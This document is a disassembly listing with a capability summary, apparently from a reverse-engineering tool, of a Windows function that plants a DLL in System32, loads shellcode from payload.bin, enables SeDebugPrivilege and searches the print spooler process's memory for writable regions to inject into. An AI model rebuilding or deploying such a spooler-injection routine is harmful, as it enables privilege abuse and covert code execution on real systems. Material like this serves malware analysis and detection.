Function at 0x140001620
Capabilities:
Acquire debug privileges
Copy file
Enumerate processes
Get file size
Get system information on windows
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x200], rax
xor r8d, r8d
lea rdx, str.C:__Windows__System32__mata.dll
lea rcx, str.SpoolBig.dll
call qword [sym.imp.KERNEL32.dll_CopyFileA]
xor edi, edi
lea rcx, str.payload.bin
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov dword [rbp - 0x58], edi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400016ed
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov ebx, eax
add ecx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r9, [rbp - 0x58]
mov qword [rsp + 0x20], rdi
mov rdx, rax
mov qword [0x1400056c8], rax
mov r8d, ebx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp - 0x58]
mov qword [0x1400056c0], rax
test rax, rax
jne 0x140001714
lea rdx, [0x14000340d]
lea rcx, str.____Unable_to_read_PIC_from__s_n
call fcn.140001010
jmp 0x140001a58
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x40]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000176a
mov rcx, qword [rsp + 0x40]
lea rax, [rbp - 0x50]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x58]
lea edx, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rsp + 0x40]
mov ebx, edi
test eax, eax
cmovne ebx, dword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140001776
lea rcx, str.____WARNING:_This_requires_elevated_privileges__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x40]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001a4c
lea r8, [rbp - 0x50]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ebx, eax
test eax, eax
je 0x1400017f5
mov rax, qword [rbp - 0x50]
lea r8, [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor edx, edx
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x48], 1
mov dword [rsp + 0x54], 2
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ebx, edi
sete bl
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140001a4c
xorps xmm0, xmm0
mov qword [rsp + 0x58], rdi
mov ecx, 0x20
mov qword [rsp + 0x60], 7
movups xmmword [rsp + 0x48], xmm0
call fcn.140001ac0
movups xmm0, xmmword [str.spoolsv.exe]
mov qword [rsp + 0x48], rax
mov esi, edi
mov qword [rsp + 0x58], 0xb
mov qword [rsp + 0x60], 0xf
movups xmmword [rax], xmm0
mov edx, dword [0x1400035c0]
mov dword [rax + 0x10], edx
movzx edx, word [0x1400035c4]
mov word [rax + 0x14], dx
xor edx, edx
mov word [rax + 0x16], di
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400018c9
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140001968
mov rcx, qword [rsp + 0x48]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018b8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001958
call fcn.140001afc
lea rcx, str.unable_to_find_pid_for_print_spooler._n
jmp 0x140001a53
lea rdx, [rbp - 0x40]
mov dword [rbp - 0x40], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001916
cmp qword [rsp + 0x60], 8
lea rcx, [rsp + 0x48]
lea rdx, [rbp - 0x14]
cmovae rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140001913
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400018e1
jmp 0x140001916
mov esi, dword [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140001964
mov rcx, qword [rsp + 0x48]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000195f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000195f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001afc
test esi, esi
jne 0x140001974
lea rcx, str.unable_to_find_pid_for_print_spooler._n
jmp 0x140001a53
mov edx, esi
lea rcx, str.Scanning__i_n
call fcn.140001010
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140001a2a
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, rdi
cmp qword [rbp - 0x78], rcx
jbe 0x140001a21
xorps xmm0, xmm0
lea r8, [rsp + 0x48]
mov rdx, rcx
mov r9d, 0x30
mov rcx, rbx
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x68], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [rsp + 0x68], 0x1000
jne 0x140001a11
cmp dword [rsp + 0x70], 0x20000
jne 0x140001a11
cmp dword [rsp + 0x6c], 4
jne 0x140001a11
mov r8, qword [rsp + 0x60]
mov rcx, rbx
mov rdx, qword [rsp + 0x48]
call fcn.1400011f0
movzx eax, al
mov edi, eax
test eax, eax
jne 0x140001a21
mov rcx, qword [rsp + 0x60]
add rcx, qword [rsp + 0x48]
cmp rcx, qword [rbp - 0x78]
jb 0x1400019b2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
lea rax, [0x14000363c]
lea rdx, str.FAILED
cmovne rdx, rax
lea rcx, str.Spooler_Injection_:__s_n
call fcn.140001010
jmp 0x140001a58
lea rcx, str.____Unable_to_enable_debug_privilege_n
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140001aa0
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret